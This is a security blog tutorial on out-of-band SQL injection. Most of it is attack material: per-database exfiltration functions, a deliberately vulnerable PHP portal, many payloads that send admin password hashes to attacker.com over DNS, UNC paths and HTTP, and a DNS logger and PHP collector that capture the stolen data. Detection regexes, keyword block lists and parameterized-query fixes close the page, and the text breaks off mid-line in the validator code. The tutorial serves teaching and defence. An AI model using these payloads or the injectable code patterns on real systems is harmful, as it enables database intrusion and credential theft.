Thilan Dissanayaka Application Security Apr 26

Out of Band SQL Injection

Out-of-Band SQL Injection (OOB SQLi) is an advanced SQL injection technique where the attacker cannot retrieve data directly through the same communication channel used to send the injection payload. Instead, the attacker must use alternative channels to exfiltrate data or confirm the success of the attack.

Unlike traditional SQL injection where results are returned in the HTTP response, Out-of-Band techniques rely on the database server's ability to make external network connections. This makes OOB SQLi particularly powerful because:

  • It works even when the application doesn't display query results
  • It can bypass many security filters and WAFs
  • It's effective against blind SQL injection scenarios
  • It can exfiltrate large amounts of data efficiently

How Out-of-Band SQL Injection Works

OOB SQL injection leverages database functions that can initiate outbound network connections. The typical attack flow involves:

  1. Injection Point Discovery: Finding a vulnerable parameter that accepts SQL input
  2. Network Function Exploitation: Using database-specific functions to make external requests
  3. Data Exfiltration: Embedding sensitive data in the outbound requests
  4. External Monitoring: Capturing the requests on an attacker-controlled server

Common techniques include:

  • DNS lookups with embedded data
  • HTTP requests to external servers
  • File operations that trigger network activity
  • Email sending functions
  • FTP connections

Database-Specific Functions

MySQL Out-of-Band Functions

LOAD_FILE() with UNC paths (Windows):

SELECT LOAD_FILE('\\\\attacker.com\\share\\file.txt');

INTO OUTFILE with UNC paths:

SELECT * FROM users INTO OUTFILE '\\\\attacker.com\\share\\data.txt';

SQL Server Out-of-Band Functions

xp_dirtree:

EXEC xp_dirtree '\\attacker.com\share';

xp_fileexist:

EXEC xp_fileexist '\\attacker.com\share\file.txt';

OPENROWSET:

SELECT * FROM OPENROWSET('SQLOLEDB','uid=sa;pwd=password;Network=DBMSSOCN;Address=attacker.com,80;timeout=5','SELECT 1');

PostgreSQL Out-of-Band Functions

COPY TO/FROM:

COPY (SELECT password FROM users WHERE username='admin') TO PROGRAM 'nslookup `cat`.attacker.com';

dblink:

SELECT dblink_connect('host=attacker.com user=test dbname=test');

Oracle Out-of-Band Functions

UTL_HTTP:

SELECT UTL_HTTP.REQUEST('http://attacker.com/'||password) FROM users WHERE username='admin';

UTL_INADDR:

SELECT UTL_INADDR.GET_HOST_ADDRESS('data.'||password||'.attacker.com') FROM users WHERE username='admin';

PHP Web Application Example

Let's create a vulnerable PHP application and demonstrate various OOB SQL injection techniques.

Vulnerable Application Setup

config.php (Database configuration)

<?php
// Database configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'webapp');
define('DB_PASS', 'password123');
define('DB_NAME', 'company_db');

// Create database connection
function getDBConnection() {
    try {
        $pdo = new PDO(
            'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME . ';charset=utf8',
            DB_USER,
            DB_PASS,
            [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
            ]
        );
        return $pdo;
    } catch (PDOException $e) {
        die('Database connection failed: ' . $e->getMessage());
    }
}

// Initialize database with sample data
function initializeDatabase() {
    $pdo = getDBConnection();

    // Create users table
    $pdo->exec("
        CREATE TABLE IF NOT EXISTS users (
            id INT AUTO_INCREMENT PRIMARY KEY,
            username VARCHAR(50) UNIQUE NOT NULL,
            password VARCHAR(255) NOT NULL,
            email VARCHAR(100) NOT NULL,
            role ENUM('admin', 'user') DEFAULT 'user',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ");

    // Create audit_logs table
    $pdo->exec("
        CREATE TABLE IF NOT EXISTS audit_logs (
            id INT AUTO_INCREMENT PRIMARY KEY,
            user_id INT,
            action VARCHAR(100) NOT NULL,
            details TEXT,
            ip_address VARCHAR(45),
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ");

    // Create products table
    $pdo->exec("
        CREATE TABLE IF NOT EXISTS products (
            id INT AUTO_INCREMENT PRIMARY KEY,
            name VARCHAR(100) NOT NULL,
            description TEXT,
            price DECIMAL(10,2) NOT NULL,
            category VARCHAR(50),
            stock_quantity INT DEFAULT 0
        )
    ");

    // Insert sample data
    $users = [
        ['admin', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '[email protected]', 'admin'],
        ['john_doe', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '[email protected]', 'user'],
        ['jane_smith', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '[email protected]', 'user'],
        ['secret_user', '$2y$10$secrethash123456789', '[email protected]', 'admin']
    ];

    foreach ($users as $user) {
        $pdo->prepare("INSERT IGNORE INTO users (username, password, email, role) VALUES (?, ?, ?, ?)")
            ->execute($user);
    }

    // Insert sample products
    $products = [
        ['Laptop Pro', 'High-performance laptop', 1299.99, 'Electronics', 50],
        ['Wireless Mouse', 'Ergonomic wireless mouse', 29.99, 'Electronics', 100],
        ['Office Chair', 'Comfortable office chair', 199.99, 'Furniture', 25]
    ];

    foreach ($products as $product) {
        $pdo->prepare("INSERT IGNORE INTO products (name, description, price, category, stock_quantity) VALUES (?, ?, ?, ?, ?)")
            ->execute($product);
    }
}

// Initialize database on first run
initializeDatabase();
?>

index.php (Main application)

<?php
require_once 'config.php';
session_start();
?>

<!DOCTYPE html>
<html>
<head>
    <title>Company Portal</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
        .container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; }
        .nav { background: #333; padding: 10px; margin: -20px -20px 20px -20px; }
        .nav a { color: white; text-decoration: none; margin-right: 20px; }
        .form-group { margin: 15px 0; }
        .form-group label { display: block; margin-bottom: 5px; font-weight: bold; }
        .form-group input, .form-group select, .form-group textarea { 
            width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; 
        }
        button { background: #007cba; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }
        .results { background: #f9f9f9; padding: 15px; margin: 20px 0; border-radius: 4px; }
        .error { background: #ffebee; color: #c62828; padding: 10px; border-radius: 4px; margin: 10px 0; }
        .success { background: #e8f5e8; color: #2e7d32; padding: 10px; border-radius: 4px; margin: 10px 0; }
        table { width: 100%; border-collapse: collapse; margin: 20px 0; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background: #f5f5f5; }
    </style>
</head>
<body>
    <div class="container">
        <div class="nav">
            <a href="?page=search">User Search</a>
            <a href="?page=products">Product Lookup</a>
            <a href="?page=audit">Audit Logs</a>
            <a href="?page=contact">Contact Form</a>
            <a href="?page=feedback">Feedback System</a>
        </div>

        <?php
        $page = $_GET['page'] ?? 'search';

        switch($page) {
            case 'search':
                include 'user_search.php';
                break;
            case 'products':
                include 'product_lookup.php';
                break;
            case 'audit':
                include 'audit_logs.php';
                break;
            case 'contact':
                include 'contact_form.php';
                break;
            case 'feedback':
                include 'feedback_system.php';
                break;
            default:
                include 'user_search.php';
        }
        ?>
    </div>
</body>
</html>

Vulnerable Endpoints

user_search.php (Vulnerable user search)

<h2>User Search</h2>
<p>Search for users in the system:</p>

<form method="POST">
    <div class="form-group">
        <label>Search Term:</label>
        <input type="text" name="search" placeholder="Enter username or email" 
               value="<?php echo htmlspecialchars($_POST['search'] ?? ''); ?>">
    </div>
    <div class="form-group">
        <label>Search Type:</label>
        <select name="search_type">
            <option value="username">Username</option>
            <option value="email">Email</option>
            <option value="role">Role</option>
        </select>
    </div>
    <button type="submit">Search Users</button>
</form>

<?php
if ($_POST['search']) {
    $search = $_POST['search'];
    $searchType = $_POST['search_type'] ?? 'username';

    try {
        $pdo = getDBConnection();

        // VULNERABLE: Direct string concatenation - OOB SQLi possible
        $query = "SELECT username, email, role FROM users WHERE $searchType LIKE '%$search%'";

        $stmt = $pdo->query($query);
        $results = $stmt->fetchAll();

        echo "<div class='results'>";
        echo "<h3>Search Results:</h3>";

        if ($results) {
            echo "<table>";
            echo "<tr><th>Username</th><th>Email</th><th>Role</th></tr>";
            foreach ($results as $user) {
                echo "<tr>";
                echo "<td>" . htmlspecialchars($user['username']) . "</td>";
                echo "<td>" . htmlspecialchars($user['email']) . "</td>";
                echo "<td>" . htmlspecialchars($user['role']) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        } else {
            echo "<p>No users found matching your search.</p>";
        }
        echo "</div>";

    } catch (Exception $e) {
        // Suppressed error - makes it blind
        echo "<div class='error'>Search failed. Please try again.</div>";
    }
}
?>

product_lookup.php (Vulnerable product lookup)

<h2>Product Lookup</h2>
<p>Look up product information by ID:</p>

<form method="GET">
    <input type="hidden" name="page" value="products">
    <div class="form-group">
        <label>Product ID:</label>
        <input type="number" name="id" placeholder="Enter product ID" 
               value="<?php echo htmlspecialchars($_GET['id'] ?? ''); ?>">
    </div>
    <button type="submit">Lookup Product</button>
</form>

<?php
if (isset($_GET['id'])) {
    $productId = $_GET['id'];

    try {
        $pdo = getDBConnection();

        // VULNERABLE: Direct parameter insertion
        $query = "SELECT * FROM products WHERE id = $productId";

        $stmt = $pdo->query($query);
        $product = $stmt->fetch();

        echo "<div class='results'>";
        echo "<h3>Product Information:</h3>";

        if ($product) {
            echo "<table>";
            echo "<tr><th>Field</th><th>Value</th></tr>";
            foreach ($product as $field => $value) {
                echo "<tr><td>" . htmlspecialchars($field) . "</td><td>" . htmlspecialchars($value) . "</td></tr>";
            }
            echo "</table>";
        } else {
            echo "<p>Product not found.</p>";
        }
        echo "</div>";

    } catch (Exception $e) {
        // Log error but don't display - perfect for OOB
        error_log("Database error: " . $e->getMessage());
        echo "<div class='error'>Unable to retrieve product information.</div>";
    }
}
?>

audit_logs.php (Vulnerable audit log search)

<h2>Audit Log Search</h2>
<p>Search audit logs by date range:</p>

<form method="POST">
    <div class="form-group">
        <label>Start Date:</label>
        <input type="date" name="start_date" value="<?php echo $_POST['start_date'] ?? ''; ?>">
    </div>
    <div class="form-group">
        <label>End Date:</label>
        <input type="date" name="end_date" value="<?php echo $_POST['end_date'] ?? ''; ?>">
    </div>
    <div class="form-group">
        <label>User ID (optional):</label>
        <input type="text" name="user_id" placeholder="Enter user ID" 
               value="<?php echo htmlspecialchars($_POST['user_id'] ?? ''); ?>">
    </div>
    <button type="submit">Search Logs</button>
</form>

<?php
if ($_POST['start_date'] || $_POST['end_date']) {
    $startDate = $_POST['start_date'] ?? '1970-01-01';
    $endDate = $_POST['end_date'] ?? '2099-12-31';
    $userId = $_POST['user_id'] ?? '';

    try {
        $pdo = getDBConnection();

        // VULNERABLE: String concatenation with user input
        $query = "SELECT al.*, u.username FROM audit_logs al 
                  LEFT JOIN users u ON al.user_id = u.id 
                  WHERE al.timestamp BETWEEN '$startDate' AND '$endDate'";

        if (!empty($userId)) {
            $query .= " AND al.user_id = $userId";
        }

        $query .= " ORDER BY al.timestamp DESC LIMIT 100";

        $stmt = $pdo->query($query);
        $logs = $stmt->fetchAll();

        echo "<div class='results'>";
        echo "<h3>Audit Logs:</h3>";

        if ($logs) {
            echo "<table>";
            echo "<tr><th>Timestamp</th><th>User</th><th>Action</th><th>Details</th></tr>";
            foreach ($logs as $log) {
                echo "<tr>";
                echo "<td>" . htmlspecialchars($log['timestamp']) . "</td>";
                echo "<td>" . htmlspecialchars($log['username'] ?? 'Unknown') . "</td>";
                echo "<td>" . htmlspecialchars($log['action']) . "</td>";
                echo "<td>" . htmlspecialchars($log['details']) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        } else {
            echo "<p>No audit logs found for the specified criteria.</p>";
        }
        echo "</div>";

    } catch (Exception $e) {
        // Suppress detailed error information
        echo "<div class='error'>Unable to retrieve audit logs.</div>";
    }
}
?>

feedback_system.php (Vulnerable feedback with time-based potential)

<h2>Feedback System</h2>
<p>Submit feedback about our services:</p>

<form method="POST">
    <div class="form-group">
        <label>Your Name:</label>
        <input type="text" name="name" required 
               value="<?php echo htmlspecialchars($_POST['name'] ?? ''); ?>">
    </div>
    <div class="form-group">
        <label>Email:</label>
        <input type="email" name="email" required 
               value="<?php echo htmlspecialchars($_POST['email'] ?? ''); ?>">
    </div>
    <div class="form-group">
        <label>Category:</label>
        <select name="category">
            <option value="general">General</option>
            <option value="technical">Technical</option>
            <option value="billing">Billing</option>
            <option value="support">Support</option>
        </select>
    </div>
    <div class="form-group">
        <label>Feedback:</label>
        <textarea name="feedback" rows="5" required><?php echo htmlspecialchars($_POST['feedback'] ?? ''); ?></textarea>
    </div>
    <button type="submit">Submit Feedback</button>
</form>

<?php
if ($_POST['name']) {
    $name = $_POST['name'];
    $email = $_POST['email'];
    $category = $_POST['category'];
    $feedback = $_POST['feedback'];

    try {
        $pdo = getDBConnection();

        // VULNERABLE: Direct string interpolation in ORDER BY
        $sortBy = $_POST['sort_by'] ?? 'id';

        // This creates a time-based blind SQLi opportunity
        $query = "INSERT INTO feedback (name, email, category, feedback, created_at) 
                  VALUES ('$name', '$email', '$category', '$feedback', NOW())";

        $pdo->exec($query);

        // Simulate a query that could be exploited with time delays
        $checkQuery = "SELECT COUNT(*) FROM feedback WHERE category = '$category' ORDER BY $sortBy";
        $result = $pdo->query($checkQuery);

        echo "<div class='success'>Thank you for your feedback! It has been recorded.</div>";

    } catch (Exception $e) {
        echo "<div class='error'>Unable to submit feedback. Please try again.</div>";
    }
}
?>

Out-of-Band SQL Injection Attack Examples

1. DNS Exfiltration Attack

Attack Payload for User Search:

' UNION SELECT 1,2,LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='admin'), '.attacker.com\\share\\file.txt'))-- 

Step-by-step breakdown:

  1. The payload injects into the vulnerable search query
  2. LOAD_FILE() attempts to read from a UNC path
  3. The admin's password hash is embedded in the hostname
  4. Windows attempts DNS resolution for [password_hash].attacker.com
  5. Attacker captures the DNS query containing the password hash

2. HTTP-Based Data Exfiltration

MySQL HTTP Exfiltration (Linux with curl):

' UNION SELECT 1,2,3 FROM users WHERE username='admin' AND 
(SELECT LOAD_FILE(CONCAT('http://attacker.com/collect.php?data=', password))) IS NOT NULL-- 

Payload for Product Lookup:

1 AND (SELECT LOAD_FILE(CONCAT('http://attacker.com/data/', 
    (SELECT GROUP_CONCAT(username,':',password) FROM users WHERE role='admin')))
) IS NOT NULL

3. Time-Based OOB with DNS

DNS Timing Attack:

' OR (SELECT CASE 
    WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' 
    THEN LOAD_FILE('\\\\delay1.attacker.com\\share') 
    ELSE LOAD_FILE('\\\\delay2.attacker.com\\share') 
END) IS NOT NULL-- 

4. Error-Based OOB Injection

Forcing DNS Lookups on Errors:

' AND (SELECT 1 FROM (SELECT LOAD_FILE(CONCAT('\\\\', 
    HEX((SELECT password FROM users WHERE username='admin')), 
    '.attacker.com\\file'))) AS x)-- 

Setting Up the Attack Infrastructure

DNS Server Setup

Simple DNS Logger (Python):

#!/usr/bin/env python3
import socket
import threading
import re
from datetime import datetime

class DNSLogger:
    def __init__(self, host='0.0.0.0', port=53):
        self.host = host
        self.port = port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.socket.bind((host, port))

    def parse_dns_query(self, data):
        # Simple DNS query parser
        domain = ""
        i = 12  # Skip header

        while i < len(data):
            length = data[i]
            if length == 0:
                break
            i += 1
            domain += data[i:i+length].decode('utf-8', errors='ignore') + "."
            i += length

        return domain.rstrip('.')

    def log_query(self, domain, client_ip):
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{timestamp}] DNS Query from {client_ip}: {domain}")

        # Extract potential data from subdomain
        if '.attacker.com' in domain:
            data_part = domain.replace('.attacker.com', '')
            if data_part:
                print(f"[{timestamp}] EXTRACTED DATA: {data_part}")

                # Try to decode hex data
                try:
                    if all(c in '0123456789abcdefABCDEF' for c in data_part):
                        decoded = bytes.fromhex(data_part).decode('utf-8', errors='ignore')
                        print(f"[{timestamp}] DECODED: {decoded}")
                except:
                    pass

    def start(self):
        print(f"DNS Logger started on {self.host}:{self.port}")

        while True:
            try:
                data, addr = self.socket.recvfrom(512)
                domain = self.parse_dns_query(data)
                self.log_query(domain, addr[0])

                # Send basic DNS response to avoid timeouts
                response = data[:2] + b'\x81\x80' + data[4:6] + data[4:6] + b'\x00\x00\x00\x00'
                self.socket.sendto(response, addr)

            except Exception as e:
                print(f"Error: {e}")

if __name__ == "__main__":
    logger = DNSLogger()
    logger.start()

HTTP Data Collector

collect.php (HTTP data collector)

<?php
// Log all incoming requests
$logFile = 'oob_data.log';
$timestamp = date('Y-m-d H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$requestUri = $_SERVER['REQUEST_URI'] ?? '';

// Extract data from various parameters
$data = $_GET['data'] ?? $_POST['data'] ?? 'No data';

// Log the request
$logEntry = "[$timestamp] IP: $ip | UA: $userAgent | URI: $requestUri | Data: $data\n";
file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);

// Try to decode if it looks like hex
if (ctype_xdigit($data) && strlen($data) % 2 == 0) {
    $decoded = hex2bin($data);
    if ($decoded !== false) {
        $decodedEntry = "[$timestamp] DECODED: $decoded\n";
        file_put_contents($logFile, $decodedEntry, FILE_APPEND | LOCK_EX);
    }
}

// Extract data from URL path
$pathParts = explode('/', trim($_SERVER['REQUEST_URI'], '/'));
foreach ($pathParts as $part) {
    if (strlen($part) > 10 && ctype_alnum($part)) {
        $pathEntry = "[$timestamp] PATH_DATA: $part\n";
        file_put_contents($logFile, $pathEntry, FILE_APPEND | LOCK_EX);
    }
}

// Return simple response
http_response_code(200);
echo "OK";
?>

Advanced OOB Techniques

1. Chunked Data Exfiltration

When data is too large for a single request:

-- Extract data in chunks
' UNION SELECT 1,2,LOAD_FILE(CONCAT('\\\\chunk1-', 
    SUBSTRING((SELECT GROUP_CONCAT(username) FROM users), 1, 50), 
    '.attacker.com\\file'))-- 

' UNION SELECT 1,2,LOAD_FILE(CONCAT('\\\\chunk2-', 
    SUBSTRING((SELECT GROUP_CONCAT(username) FROM users), 51, 50), 
    '.attacker.com\\file'))-- 

2. Base64 Encoding for Special Characters

' UNION SELECT 1,2,LOAD_FILE(CONCAT('\\\\', 
    TO_BASE64((SELECT password FROM users WHERE username='admin')), 
    '.attacker.com\\file'))-- 

3. Error-Triggered OOB

-- Force error that triggers UNC path access
' AND (SELECT COUNT(*) FROM information_schema.tables 
    WHERE table_schema=DATABASE() 
    AND LOAD_FILE(CONCAT('\\\\table-count-', COUNT(*), '.attacker.com\\file'))
)-- 

4. Multiple Database OOB

-- Extract from multiple databases
' UNION SELECT 1,2,LOAD_FILE(CONCAT('\\\\db-', 
    (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 
    '.attacker.com\\file'))-- 

Detection and Monitoring

1. Network Monitoring

Monitor for suspicious DNS queries:

# Monitor DNS queries for unusual patterns
tcpdump -i any -n port 53 | grep -E '[0-9a-f]{32,}\..*\.com'

HTTP request monitoring:

# Monitor for unusual HTTP requests
tail -f /var/log/apache2/access.log | grep -E 'GET.*[0-9a-f]{20,}'

2. Database Query Logging

MySQL query logging:

-- Enable general query log
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/queries.log';

-- Monitor for OOB functions
SELECT * FROM mysql.general_log 
WHERE argument LIKE '%LOAD_FILE%' 
   OR argument LIKE '%INTO OUTFILE%'
   OR argument LIKE '%\\\\%';

3. Application-Level Detection

PHP OOB detection script:

<?php
function detectOOBAttempt($input) {
    $patterns = [
        '/LOAD_FILE\s*\(/i',
        '/INTO\s+OUTFILE/i',
        '/xp_dirtree/i',
        '/xp_fileexist/i',
        '/UTL_HTTP/i',
        '/UTL_INADDR/i',
        '/\\\\\\\\.*\./i',  // UNC paths
        '/https?:\/\/.*\./i'  // HTTP URLs in SQL
    ];

    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $input)) {
            return true;
        }
    }

    return false;
}

// Usage in application
if (detectOOBAttempt($_POST['search'])) {
    error_log("OOB SQLi attempt detected: " . $_POST['search']);
    die("Invalid input detected");
}
?>

Protection Methods

1. Parameterized Queries

Secure user search implementation:

<?php
function secureUserSearch($search, $searchType) {
    $pdo = getDBConnection();

    // Whitelist allowed search types
    $allowedTypes = ['username', 'email', 'role'];
    if (!in_array($searchType, $allowedTypes)) {
        throw new InvalidArgumentException("Invalid search type");
    }

    // Use parameterized query
    $query = "SELECT username, email, role FROM users WHERE $searchType LIKE ?";
    $stmt = $pdo->prepare($query);
    $stmt->execute(["%$search%"]);

    return $stmt->fetchAll();
}
?>

2. Input Validation and Sanitization

Comprehensive input validation:


<?php
class InputValidator {

    public static function validateSearchInput($input) {
        // Remove dangerous characters
        $input = preg_replace('/[^\w\[email protected]]/', '', $input);

        // Check length
        if (strlen($input) > 100) {
            throw new InvalidArgumentException("Input too long");
        }

        // Check for SQL keywords
        $dangerousKeywords = [
            'LOAD_FILE', 'INTO OUTFILE', 'xp_', 'UTL_', 'OPENROWSET',
            'UNION', 'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'DROP'
        ];

        foreach ($dangerousKeywords as $keyword) {
            if (stripos($input, $keyword) !== false) {
                throw new InvalidArgumentException("Forbidden keyword detected");
            }
        }

        return $input;
    }

    public static function validateNumericInput($input) {
        if (!is_numeric($input) || $input
ALSO READ
Boolean based Blind SQL Injection
Apr 26 Application Security

Blind SQL Injection happens when: There is a SQL injection vulnerability, BUT the application does not show any SQL errors or query outputs directly. In this case, an attacker has to ask....

Singleton Pattern explained simply
Apr 26 Software Architecture

Ever needed just one instance of a class in your application? Maybe a logger, a database connection, or a configuration manager? This is where the Singleton Pattern comes in — one of the simplest....

SQL injection login bypass
Apr 26 Application Security

SQL Injection (SQLi) is one of the oldest and most fundamental web application vulnerabilities. While it’s becoming rarer in modern web apps due to better coding practices and frameworks,....

Observer Pattern explained simply
Apr 26 Software Architecture

When one object needs to notify many other objects about changes in its state **automatically**, the **Observer Pattern** steps in. ## What is the Observer Pattern? - Defines a....

SSRF - Server Side Request Forgery
May 27 Application Security

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's....

Debugging Binaries with GDB
Mar 23 Low level Development

GDB is shipped with the GNU toolset. It is a debugging tool used in Linux environments. The term GDB stands for GNU Debugger. In our previous protostar stack0 walkthrough tutorial, we used GDB....